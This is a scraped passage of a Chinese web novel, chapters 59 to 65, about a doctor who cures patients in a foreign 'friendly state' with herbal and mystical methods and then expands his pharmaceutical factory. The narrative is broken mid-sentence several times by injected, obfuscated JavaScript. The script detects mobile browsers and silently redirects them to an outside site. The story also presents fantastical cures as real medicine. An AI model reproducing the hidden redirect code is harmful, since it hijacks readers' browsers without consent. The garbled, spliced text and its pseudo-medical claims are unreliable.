l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200679|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素都已严重耐药！” “这根本是个不可能完成的任务！他们是故意设下陷阱，想逼我们知难而退，自取其辱！” 林卫国洞悉对方意图。若他拒绝，立刻会被贴上“浪得虚名”的标签，“礼送”回国，一切努力化为乌有。 他抬起头，迎向门外朴正勋以及那群朝鲜专家审视、怀疑，甚至隐含轻蔑的目光。 他平静开口，声音不大，却清晰传遍整个走廊。 “好。” “我不止能保住他的腿，还能让他在三天之内下地行走。” 迎着朴正勋骤然收缩的瞳孔，他一字一句，加重了语气： “立个赌约。” “我们做到，从那一刻起，领袖所有治疗方案，由我全权负责。你们任何人不得以任何理由干涉。” “我们失败，立即回国，并以我国名义公开承认，技不如人。” 赌约即成。 特护病房内的空气骤然凝固，仿佛弓弦拉满。朴正勋和他身后的朝鲜专家们依约让出了一片空地，表面上给予了林卫国操作空间。然而，他们抱着手臂站在不远处，眼神充满审视、挑剔，甚至毫不掩饰地等着看他栽跟头。 在他们眼中，这年轻的中国医生自掘坟墓，已无退路。 林卫国对周围的目光视若无睹。他立刻俯身检查护卫的伤势。脑海中【战术医疗系统】深度扫描的结果清晰呈现：这是一种极其罕见、混合了多重厌氧菌与腐生菌的深度复合感染！病菌已侵入骨髓，并形成顽固的生物菌膜，将一切抗生素隔绝在外。 他果断决定采用双管齐下的雷霆手段。 “晚夏，银针！”林卫国语速平稳却不容置疑。 苏晚夏迅速打开随身针囊，递上一套消过毒的银针。林卫国捻针如电，精准刺入护卫腿腹几处大穴。 第59章 草药之谜，暗影随行 内劲随针渡入，如闸门般死死封住毒素上行之路，强行护住了病人的心脉。 此乃内固之法。 但此役胜负手，在于外敷奇药。他提笔疾书一纸药方，交给负责记录的朝鲜护士：“请立即照方准备药材，要快！” 药方所列，皆是祛腐生肌的独门珍药。 半个钟头后，那护士回来了，面上挂着堪称“标准”的歉意：“林大夫，万分抱歉。”她微鞠一躬，语气却毫无愧意，“遵照我院严格药管条例，您方子上几味药，药房均无备存，无法提供。” 林卫国点点头，平静接受：“知道了。” 他转身从自己带来的行李箱中，取出一个油纸层层密封的药包。这是他临行前，嘱托赵胜利在华夏各处搜罗的备用珍宝。 翌日清晨，林卫国正欲调配药膏，一个“意外”猝然发生！保管药材的，正是昨日那位护士。她捧着药包走近时，脚底陡然“一滑”，整个药包脱手飞出！ 最为珍贵、产自神农架深处的“龙血七”，不偏不倚，尽数倾洒进一盆刚用过的洗脸水里！珍贵的药粉大半遇水即毁！ “对不起！林大夫！真不是有意的！”护士惊得脸色煞白，连连鞠躬，泫然欲泣。 朴正勋闻讯带人赶来，假意呵斥护士几句，随即对林卫国摊开双手，脸上满是“爱莫能助”的惋惜：“林大夫，您看这……真是飞来横祸啊！” 他话锋转冷：“现在，连您自家的药也毁了。我们那个赌约……” 意图昭然：你自毁长城，认输吧。 朝鲜专家们脸上，心领神会的笑意再也藏不住。这中国医生的路，已然断绝。 林卫国脸上却依旧不见半分恼色。他只是蹲下身，瞥了一眼那盆浑浊的药水，目光锐利地扫过护士仍在“颤抖”的双手。 几乎同时，苏晚夏清冷的声音在他耳边低低响起：“卫国，看她的手。”她纤指微不可察地指向那双手，“若真是失手打翻湿润的药泥，手上该是湿的。但她手上只有干粉痕，颜色……和地上的‘龙血七’对不上。” 她眼中笃定：“这不是意外，是预谋！” 林卫国不动声色地颔首。 他缓缓起身，并未追究护士，反而对着朴正勋提出一个出乎所有人意料的要求：“朴院长，药材既已不能用，烦请贵院提供一份长白山地区最详尽的植物图鉴，越全越好。” 朴正勋一怔，虽不明其意，还是挥手让人取来。 很快，一本厚重精美的图鉴递到林卫国手中。他飞快翻阅，视线如精密扫描仪划过图页。脑中浩瀚的【上古炼药术】知识库同时高速运转，将图鉴上的每一种植物与其药理严丝合缝地比对。 片刻，他的指尖停驻在几页图谱上。上面绘着的，赫然是当地被视为杂草的几种寻常植物。 “麻烦您派人采摘这些回来。”林卫国指着图谱。 朴正勋看着他指出的“杂草”，眼中困惑与轻蔑交织，但仍耐着性子想看这年轻人如何“垂死挣扎”。 半日后，几大筐沾着泥土气息的“杂草”送到林卫国面前。 林卫国不再假手于人。他亲自动手，施展出一种朴正勋闻所未闻的“酒浸火锻”之法！ 他先将草药投入高度烈酒，内劲灌注，逼出杂质。旋即引动蕴含生命精元的特殊文火，反复煅烧淬炼！ 经他神乎其技处理后的草药，药性不仅完美替代了“龙血七”，更因药力相生相激，炼出的药膏效力比原方竟更霸道三分！ 当那墨绿如翡翠的药膏涂抹在护卫腐烂发黑的伤口上时，奇迹发生了！ 浓烈刺鼻的恶臭瞬间被一股奇异的、似雨后青草般的清香取代！ 半个时辰，护卫因高烧滚烫的额头温度迅速下降！ 又一个时辰，伤口渗出浑浊腥臭的脓液，竟肉眼可见地变得清澈！ 这立竿见影、宛若神迹的效果，让玻璃窗外紧盯的朴正勋及其专家团队彻底失语！他们眼中的轻蔑、怀疑早已褪尽，只剩下纯粹的震惊，以及深植其下的忌惮与一丝难以言喻的骇然！ …… 几乎在药效显现的同时，负责外围安保的陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200680|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎也捕捉到了异常。 他敏锐地察觉到，疗养院里的守卫远不止明面上那些。几道身影藏在暗处，阴影中投来的目光冰冷而粘腻，无声无息地流连着。 傍晚时，他亲眼见到那个“失手”打翻药材的护士。下了班，她步履匆匆，鬼祟地闪进一个无人角落。片刻后，她与一个穿着清洁工衣服的陌生男人悄无声息地交换了一个小小的纸包。 陈虎的心猛地一沉，眼神变得冰寒彻骨。一切都清楚了，这绝非表面上的医者之争那么简单。平静的水面之下，暗流已裹挟着更深沉的漩涡奔涌而来。 …… 次日，病床上的护卫高烧已退，气息平稳，甚至能虚弱地说几句话。胜利的曙光，已然近在咫尺。 然而就在这时，病房外骤起喧哗。 一位身着考究欧洲套裙的贵妇人，在众多官员和警卫的簇拥下，带着一种混杂着雍容与病态焦灼的气质，径直闯了进来。朴正勋一见来人，瞬间收敛了所有表情，无比恭敬地深深弯下腰去。 “夫人！” 她，正是这个国家最高领袖的妻子。她的目光冷漠地扫过林卫国，如同掠过一粒尘埃。她径自走向朴正勋，声音又尖又厉，带着不容置疑的威严： “朴院长！我听说你们在用些来历不明的‘土方子’给护卫治疗？” “立刻停下！所有来自中国的药，还有那些治疗方法，统统给我停下！” “是！夫人！”首席保健医生朴正勋立刻躬身领命，转向林卫国时，做了个“请”的手势，眼底迅速掠过一丝难以掩饰的得意。 有夫人亲自发话，林卫国纵有通天本事，此刻也已无计可施。 他们的赌约，注定不了了之。 病房内的朝鲜专家们也松了口气，看向林卫国的眼神重新充满轻蔑。医术？在这里，唯有权力才是一切。 然而，林卫国看都没看他们一眼。他没有与盛气凌人的夫人争辩。对这种习惯了发号施令的人，讲道理是徒劳的。 他只是平静，用近乎淡漠的目光看着夫人。 第60章 夫人之疾，洞若观火 就在她即将被簇拥着离开时，林卫国开口了： “您看似容光焕发，实则舌苔边缘发紫，眼白布满常人难以察觉的血丝。尤其是……” 他目光如剑，刺向夫人胸前那块碧绿通透的名贵玉佩。 “这块产自极寒之地的寒玉，玉性至阴。常年佩戴，只会让您本已凝滞的气血雪上加霜。” “不出半月，您左手无名指、中指、小指必将麻木难消。到时，大罗神仙也难逆转！” 林卫国的每一句话都像烧红的钢针，狠狠扎进夫人心底！ 她看向林卫国的眼神，从傲慢不屑，转为惊疑，再化为恐慌，最终凝固成难以置信的震撼！ 一旁的朴正勋冷汗直流。这些症状他都知道！却只当是普通的“富贵病”，开些温补药方，更不敢说玉佩有害！林卫国的诊断如响亮耳光，将他首席保健医生的专业自尊彻底击碎！他终于痛苦地意识到两人天渊般的差距。 “林……林大夫，我这病……还能治吗？” 林卫国看着她前倨后恭的模样，心中波澜不惊。 “可他面临的，远比您的凶险百倍。” “因为……” 他的眸底掠过一丝骇人的寒芒。 “这不是生病，也不是**。” “是有人用近乎‘道术’的手段，年复一年……在偷取他的‘生命精气’！” 首席保健医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200681|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师朴正勋，这位毕生信奉唯物论的医学泰斗，第一个站了出来。他看向林卫国的眼神如同在看荒诞剧，声音干涩发紧：“林大夫？偷……精气？”他难以置信地摇头，“这……这根本不是医学！简直是……” 这番话如同惊雷在室内炸开，震得所有人都哑口无言。巨大的冲击让他们僵立原地。 林卫国不给喘息的机会，径直走到书房窗台前，一盆翠绿欲滴、花开妖异紫花的君子兰正安静摆放。“媒介，就是它。” “室内不见天日，它却远超庭院同类。这，正常吗？”他指着那盆花的眼神，骤然冰寒刺骨。 仿佛全部的生命力，在那滴汁液触及的刹那，被彻底榨干！ 第61章 国之重器，以血为引 “天哪……” 朴正勋和一众专家倒吸冷气，喉咙仿佛被无形扼住，只剩无声的惊骇。 震撼并未结束。林卫国再次摘下另一片绿叶。这次，他未用动物。他抬起手，指尖在皮肤上一划。 一滴蕴含着霸道“龙涎”能量的殷红血珠，颤巍巍滴落在油亮的叶面上。 嗤——！ 一声细微却刺耳的声响骤然响起！如同滚油泼上冰霜。 那片生机勃勃的叶子，在林卫国血液滴落的瞬间，如同被剧毒腐蚀！以肉眼可见的速度萎缩、卷曲、焦黑……最终，化作一滩散发恶臭的黑灰！ 这完全颠覆常理、超越想象的景象，如同一柄无形的巨锤，狠狠砸碎了朴正勋他们脑中最后一丝怀疑！那惊骇的目光再次投向林卫国时，已不再是审视一位医生，而是带着凡人仰望神祇般的震骇！ 直到铅箱被运离，她才强压下心中悸动，走到林卫国面前，深深一躬到底。 “林大夫，是我们有眼不识泰山！先前失礼，恳请您海涵！” 在夫人严令下，一场针对此花的秘密调查迅疾展开。 “不是这些。” 精神象征？ 这个词让在场的人心头更添迷雾。 片刻后，他双手捧着一个用厚厚黄绒布包裹的长条形重物返回。 绒布一层层揭去，一个令整个房间瞬间屏息、落针可闻的身影赫然出现。 并非珍宝匣中的璀璨。 是一把枪。 他声音低沉，带着难以言喻的敬意： “就是它了。” … 林卫国以那把传奇老枪为中心，用朱砂与特制药材调制的红液，在地面缓缓勾画出一幅源自【上古炼药术】的玄奥阵图。符文流转间，仿佛蕴藏天地至理，引人神思恍惚。 最后一笔落下，整个房间的空气骤然粘滞。 “夫人，朴院长，”林卫国起身，对震惊的众人道，“启动这‘偷天换日’之阵，光靠信物为‘引’还不够。” “我们还需要一股强大的‘源力’为引，才能激活它，将那被窃的‘根基’强行夺回！” 林卫国转过身，平静地看向她： “最佳引子，远在天边，近在眼前。” “就是我。” 话音未落，他毫不迟疑地从针囊抽出一柄柳叶刀，对准自己左腕狠狠划下！ “卫国！” “林大夫！” 苏晚夏和朴正勋失声惊呼！ 一道血箭自他腕间激射而出！ 但那血液并非寻常的鲜红，而是透着一抹淡淡的、如同熔金般的璀璨光泽——蕴含着他那霸道绝伦的“龙涎”血脉！ 他将手腕悬于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200682|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵图中心老枪之上。 一滴，两滴，三滴… 金色血液滚落而下。 第一滴血触及冰冷枪身的瞬间—— 嗡！！ 整个阵图如同被唤醒的远古巨兽骤然苏醒！所有赤红纹路亮起微弱却清晰的红光！沉寂数十年的老枪随之发出“嗡嗡”的低沉震鸣，像一头沉睡的雄狮正在醒来！ … 与此同时。 首都另一端，隐秘豪宅深处的檀香静室内。 一位仙风道骨、身着道袍打坐的老者，猛地睁眼！ “噗——！” 一口鲜红逆血狂喷而出，染红身前地面！ “不好！” 老者古井无波的眼中首次露出骇然！ “阵……阵破了！” “对方…有高人！” … 疗养院内。 成了！ 林卫国心头一松，正要收回气血切断联系。 就在这一刻—— 一股阴冷、怨毒、暴戾的庞大黑气，竟沿着逆转的通道反扑回来，疯狂倒灌入他体内！ 是那幕后黑手遭反噬后溃散的“命元”！ 两股绝强力量在他经脉中轰然对撞！ 林卫国只觉身体似要被生生撕裂！ 眼前一黑，彻底失去了知觉。 第62章 险中求胜，心血之耗 下一秒，他却形如枯槁，无声地躺在病榻之上，命悬一线。 整个疗养院的气氛骤然绷紧至极限。 友邦最高级别的医疗小组火速集结，首席保健医生朴正勋首当其冲，对林卫国展开紧急会诊。顶级的监护仪器——心电、脑波扫描……所有最尖端的设备，第一时间都连接到了他身上。 可屏幕上映出的数据，却让围观的专家们心沉谷底，面面相觑。 “心率……只剩三十次！” “血压……已跌破安全线！” “脑电波……几乎成了水平！” 朴正勋死死盯着屏幕，面无人色。他颤抖的手握紧听诊器，反复探听，却根本找不到任何实质性病变。林卫国的身体，就像一台精密仪器，所有部件完好无损，却已然燃尽了最后的能量，即将停止运转。 简单说，便是燃尽了自己，照亮了旁人。 他随时，可能就此长眠。 当所有专家都束手无策，只能依靠点滴营养液勉力维系他那若有似无的心跳时—— 唯有一个人，始终坚信他能醒来。 那就是苏晚夏。 她拒绝了所有人让她去休息的劝告，日日夜夜，寸步不离地守护在林卫国的病床前。 她不知疲倦地，为他擦拭身体，按摩肌肉，细致地记录下他每一个最微小的身体变化。 她发现，林卫国的身体虽然极度虚弱，但当她为他诊脉时，却总能感受到，在他那几乎静止的脉搏深处，始终有一股极其微弱，但却如同磐石般坚韧不拔的“气”，在缓缓地流转，生生不息。 这股“气”，正在以一种超越了所有现代医学理论的方式，自我修复着这具看似已经油尽灯枯的身体。 她不知道的是，林卫国的这次昏迷，实际上是他的身体，在先后吸收了“龙涎”之力，又承受了那恐怖的“气运”反噬之后，正在进行的一次最深层次的、脱胎换骨般的自我重组与修复。 他前世那浩瀚如海的医学知识，和今生这具经过千锤百炼的特殊身躯，正在他的潜意识深处，自发地，为这具全新的身体，寻找一种前所未有的、更高维度的平衡！ …… 七天后。 就在友邦的专家组，几乎已经彻底放弃，甚至开始在私下里，讨论是否要准备“后事”，以及如何向中方交代时。 病床上，那个沉睡了七天七夜，如同植物人一般的年轻人，那长长的睫毛，忽然，轻轻地颤动了一下。 随即，他缓缓地，睁开了眼睛。 那双眼睛，在经历了长久的黑暗之后，没有丝毫的迷茫和浑浊，反而比之前任何时候，都更加的深邃，更加的清亮，仿佛蕴含着一片星辰大海。 他醒来后的第一件事，不是询问自己的身体状况，也不是关心外界发生了什么。 他只是用一种还有些虚弱，但却不容置喙的语气，对早已喜极而泣的苏晚夏，说了三个字。 “纸和笔。” 在孙思源和朴正勋等人闻讯赶来，站在病房门口，面面相觑的惊疑目光中。 林卫国靠在床头，奋笔疾书。 一篇长达数页的、足以在世界医学史上，掀起一场惊天海啸的论文初稿，在他的笔下，一挥而就。 《论人体在极限应激状态下的高级神经功能代偿与自我修复机制》 他将这篇刚刚写就的论文，交给了孙思源和朴正勋。 两位在医学界浸淫了一辈子的泰斗级专家，仅仅是看了一个标题，便被其深深地吸引。 而当他们看完整篇论文之后，两人更是如遭雷击，呆立当场！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200683|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林卫国在论文中，旁征博引，用他们能够理解的中西医结合的理论，完美地，从科学的角度，解释了自己为何会陷入深度昏迷，以及自己的身体，是如何启动一种前所未有的“神经功能代偿机制”，进行超高效的自我修复的！ 这种超越了整个时代的理论深度和前瞻性，如同一柄重锤，狠狠地砸在了朴正勋的心上，将他那身为首席保健医生的最后一点骄傲，击得粉碎！ 他看着林卫国的眼神，再也没有了半分的怀疑和忌惮。 那是一种，学生在仰望一位开宗立派的医学巨匠时，才会有的，无限敬仰！ 他们都明白，林卫国，不仅治好了领袖，更是在医学理论上，为他们，也为整个世界，打开了一扇通往全新世界的大门！ …… 林卫国苏醒之后，身体虽然还有些虚弱，但他却感觉自己的思维和感知，比以前任何时候，都更加的敏锐和清晰。 他重新静下心来，仔细地分析着那股从幕后黑手身上，反向传入自己体内的、微弱却又充满了怨毒的“气息”。 结合自己前世对世界顶级毒理学的深刻了解，他得出了一个惊人的结论。 他将一份全新的分析报告，通过朴正勋，递交给了友邦的最高安全部门。 他在报告的最后，用一种极其凝重的语气，写下了自己的判断。 “那个给你们领袖布下‘偷天换日’之局的神秘人，他自己，也正被另一种比KGB—7型抑制剂，更加隐蔽，更加无解的慢性神经**，所控制着。” “这是一种双重保险。也是一种最高明的，控制‘棋子’的手段。” “如果我没猜错的话，现在，他要么，已经因为阵法被破，毒素反噬而**。” “要么，正生不如死。” 第63章 国之厚礼，归心似箭 友邦安全部门的行动，雷厉风行。 根据林卫国提供的那份堪称“病理侧写”的精准分析，他们迅速锁定了那个隐藏在首都豪宅深处、仙风道骨的神秘老者。 当荷枪实弹的特种部队破门而入时，一切正如林卫国所预料。 静室之内，没有打斗，没有反抗。 那个神秘的老者，早已七窍流血，暴毙而亡。他瘫倒在蒲团之上，脸上凝固着极致的恐惧和不甘，死状与林卫国的描述，分毫不差。 至此，所有隐藏在幕后的阴霾和威胁，被彻底清除。 …… 任务圆满完成，林卫国一行人的回国之旅，被正式提上了日程。 为了表达最崇高的敬意和感谢，友邦方面在首都最宏伟的国宾馆，举行了一场最高规格的国宴，为林卫国一行送行。 “能为您的健康略尽绵力，是一个医者莫大的荣幸。然而，我的祖国也同样需要我。” 那光芒里，分明交织着刻骨的乡愁与沉甸的责任。 “在我的家乡，有一间刚刚起步的小小制药厂。厂里有百十号捧住铁饭碗、满心盼着明天的工人。在我的祖国，更有千千万万同您一样、为国家操劳半生、如今却被病痛折磨的普通百姓……” 他微微停顿，目光投向遥远的东方。 “他们，都在等我归去。” “等着我，为他们带去更好的药，带去更健康的希望。” …… 第二天，首都机场。 在返回华国的专机前，友邦方面送上的“谢礼”清单，由朴正勋亲自交到了华国外事办陪同领导的手中。 当那位领导打开清单，只看了一眼，整个人便如同被施了定身法一般，彻底僵在了原地！ 他身后的几位华国官员，好奇地凑上前去。 下一秒，倒吸凉气的声音，此起彼伏！ 那张清单上，赫然写着： 第一，除了之前协议中承诺的全套高精度工业机床外，额外追加，赠予华国一套完整的、由瑞典生产的，自动化药品封装流水线！ 第二，签署一份为期十年的“化肥换药材”长期战略合作备忘录！友邦将用他们最优势的化肥产能，每年向华国交换卫国制药厂所急需的、国内极其稀缺的各类珍贵药材！这份备忘录，几乎是以国家托底的方式，彻底解决了卫国制药厂未来十年，最关键的原材料来源问题！ 第三，派遣三名友邦最顶级的、拥有德国留学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200684|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经验的机械工程师，作为“援建专家”，随同所有设备一起，前往安平县，全程免费指导卫国制药厂进行设备安装、调试和技术升级！ 这分明是一份足以让一个乡镇小厂，一步登天，直接跻身国家级战略企业行列的，国之厚礼！ …… 在返回华国的专机上。 同行的那位华国外事办领导，神情严肃地，找到了正在闭目养神的林卫国。 他屏退了左右，压低了声音，用一种前所未有的郑重语气，对林卫国说道： “林同志，你这次在友邦，建立起的这条特殊的、不可复制的友谊渠道，已经引起了国家最高层领导的高度重视。” 他从随身的公文包里，取出了一份盖着最高级别红印的文件。 “经过上级研究决定，鉴于你在本次事件中的卓越贡献和特殊地位，我们希望，你能接受一个新的身份。” 他将文件缓缓打开，推到了林卫国的面前。 “华国国际技术交流协会，特聘理事。” “以后，我们有一些官方不方便出面的、与友邦，乃至其他西方国家的技术引进和交流工作，可能就需要通过你这条特殊的‘民间渠道’，来进行了。” 第64章 荣归安平，甜蜜的烦恼 吉普车一路飞驰，赶往卫国制药厂。 当林卫国的身影终于出现在厂门口，潮水般的欢呼声滚烫地席卷了整个厂区！ 林卫国先把合同拿出来，整个厂区都沸腾了。 但这份热烈并未持续太久，很快就消散了。 厂长办公室，赵胜利把厚厚一摞申请报告重重拍在桌上，愁容满面。 “卫国，你看吧！” “扩建新厂房，水泥、砖瓦、木头，哪一样不是天文数字？还全是国家计划物资，指标都卡在县物资局那帮人手上。那个王胖子油盐不进，什么都不给我们。” “这这也就算了。” 赵胜利又叹口气：“德国定的精密机床马上就要到港了。可能操作的工人咱们一个都没有！” “还有，眼下厂里就‘速效止血散’这一棵摇钱树！可产量太低了，根本就顶不上消耗的。” 赵胜利的担心，绝非空穴来风。 县里几家国营大厂的当家人，表面上一口一个“后生可畏”，羡慕卫国制药厂拿到的国家扶持和省里重点项目的金字招牌，眼红得能滴出血来。 可背过身去，那又是另一番景象。 “哼！姓林那小子，到底是年轻气盛！摊子铺这么大，步子迈这么猛，不怕闪着腰？” “谁说不是？光正式工就一百多号，加上那么大的摊子，月月的工钱、水电、机器嚼裹就得多少？我看啊，不出三个月，他就得捧着那些洋落儿，求咱们出手接盘喽！” …… 外面的风言风语，并未钻入林卫国的耳朵。他只是平静地听着赵胜利的汇报，那双深邃的眼眸中没有丝毫波澜。待到话音落下，他才不疾不徐地出手，三记重拳，拳拳都足以让整个安平县地皮微颤。 第一张牌，直指那个最难啃的硬骨头——县物资局局长，王胖子。 这一次，林卫国没再派赵胜利去碰壁。 他亲自推开了那间熟悉的局长办公室门。果不其然，王胖子那张永远堆着笑的胖脸上，虚假的热情一如既往地漾开：“哎哟！林大厂长！稀客，贵客！快请坐，请坐！”他搓着手，肚子里那套对付赵胜利的“困难重重”、“原则为上”的说辞已然准备就绪。 林卫国没接话，也没落座。他只是踱到那张宽大的办公桌前，慢条斯理地从内袋里取出一样东西，轻轻用指尖捻着，仿佛不带一丝重量地、精准地推到了王胖子的眼皮子底下。 桌面上，安静地躺着一张制作考究的卡片。上面，中朝两种文字并排，烫着几个闪闪发光的金字——“长白山最高友谊特别通行证”。 然后，他又将一封由县长钱国栋亲笔签名的信，放在了卡片的旁边。 王胖子脸上的笑容，在看到那张通行证的瞬间，便彻底凝固了。 他或许不认识这张卡片，但他却能清晰地感受到，从那张薄薄的卡片上，散发出来的一股让他这个小小的县城局长，感到灵魂都在颤抖的、无形的巨大压力！ 他知道，这玩意儿，是能直接通天的“虎皮”！ 他额头的冷汗，瞬间就冒了出来。 他再也不敢提半句“困难”，更不敢说一个“排队”。 他当场拿起电话，对着话筒咆哮道：“通知下去！把我们仓库里，那批给县政府大楼预留的、质量最好的一号水泥、红砖和东北松木，全部！立刻！马上！送到卫国制药厂的工地上！一分钟都不许耽误！” 第二张牌，他打向了全省的技术人才市场。 他通过省计委周正国主任的关系，在省报最醒目的位置，面向全省，刊登了一份“卫国制药厂高薪招聘启事”。 启事上开出的条件，在1979年的中国，堪称逆天！ “凡被录用为我厂高级技工及工程师者，待遇从优。一，解决安平县城市户口；二，家属可随迁，并安排相应工作岗位；三，厂内部分房指标，技术人才优先！” 消息一出，整个省内的技术圈，都为之疯狂！ 无数封来自省城、乃至其他地市的应聘信，如同雪片一般，飞向了安平县这个名不见经传的小地方！ 第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200685|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三张牌，他打在了工厂自身的产品线上。 他召集了全厂所有的技术骨干，在新建的实验室里，拿出了他早已准备好的、从高建功笔记中改良优化而来的全新药方。 “同志们！咱们卫国制药的第二款拳头产品——‘通脉丹’，今天正式试制！” 这声宣告像枚喜弹，轰开了新气象：厂区扩了，精兵强将到了，新药的蓝图也终于落定。 偏偏在‘通脉丹’的试制动员会上，一股冷气无声地渗了进来。 厂长林卫国刚讲透新工艺，一个身影稳当当地站了起来。是生产总指挥王建民——林厂长亲手提拔的老师傅，更是建厂元老，当年的红星厂副厂长。 霎时，全场的目光都凝在这位老将身上。 王建民脸上没有半点激动，沉沉压着严肃。 他盯着林卫国，声音不高，却像钉子一样楔进空气： “厂长，我不同意！” “现在就上‘通脉丹’？我不同意！” 短短两句话，兜头一盆冷水，“嗤啦”一声，把大家因新药烧起来的火苗浇得直冒冷烟。 会议室的空气，绷得像根紧弦。 所有人的视线，无声地在林卫国与这位德高望重的老厂长之间来回撕扯。 王建民的根基太深了。从红星厂一路拼打过来，几十年风霜，老伙计们的肚肠，他比谁都摸得透。 他的反对，沉甸甸砸在所有人心坎上——那些老工人们心慌了。怕新药不成，怕翻天覆地，更怕这碗刚刚端稳的热乎饭，又要没来处！ 王建民看着林卫国，浑浊的眼睛里充满了真诚和担忧，他苦口婆心地劝说道：“厂长，我不是信不过你的本事。但是，凡事都得一步一步来，咱们的根基太薄了！” 他指了指窗外那片热火朝天的工地，声音里带着一丝颤抖：“我们现在有‘速效止血散’这个金饭碗，有国家和省里的扶持，只要我们稳扎稳打地生产，不出三年，我们就能成为全省数一数二的大厂！大家都能过上以前想都不敢想的好日子！” 第65章 元老之争，立威之辩 “可你要做的‘通脉丹’，工艺太复杂了！咱们厂这条件，根本玩不转！”王建民手指重重敲在桌上，声音因为激动有些发哑，“硬上？万一砸了，我们拿命搏来的这块招牌，可就完了！” 他目光扫过围坐的骨干，最后钉在厂长身上：“这险不能冒！我王建民，不能看着你带着厂里几百个兄弟往火坑里栽！” 话砸在地上，溅起一片认同。不少老师傅感同身受，纷纷点头。 这件事毕竟是大事，没有人会拿这种事开玩笑的。 “厂长，老王在理，还是稳当点好。” “是啊，能安稳过就不折腾了。” 林卫国心里明白，王建民是一片赤诚护厂心。可他也看得更透：这年月风头变快，不冲就得落伍。等死？那怎么成！他今天，就得把大家这股“稳”劲儿拧过来，为厂子将来的路清掉最后一道思想的坎。 这近乎摊牌的局面，林卫国没拿厂长的身份压人，连脸色都没沉一下。 他静静听着，直到最后一声附和落下。这才缓缓站起身，对着王建民，深深弯下了腰。 “老王，各位师傅，你们的心思，我懂。厂子这份沉甸甸的惦记，林卫国记这儿了。”他直起腰，眼神扫过全场，声音清朗有力，“可开厂子，不是守摊子求安稳。市场是战场！逆水行舟，原地踏步就是**！” “我不拿位置压人，说句掏心窝子的——” “今天，我们就搞一场全厂范围的‘生产路线大讨论’！” 他指向会议室的左右两边。 “支持王主任，认为应该稳扎稳打的，站到左边。” “支持我，认为应该抓住机遇，冒险一搏的，站到右边。” “我们不搞一言堂，我们用事实和道理说话！” …… 一场史无前例的大辩论，在卫国制药厂新建的车间里，正式拉开帷幕。 以王建民为首的保守派，据理力争：“稳定压倒一切！我们好不容易才端上铁饭碗，守住现有的成果，才是最重要的！” 而以那些刚刚从省城招聘来的、思想活跃的年轻技术员为主的激进派，则寸步不让：“市场不等人！等我们觉得安稳了，黄花菜都凉了！不抓住机遇，我们很快就会被时代淘汰！” 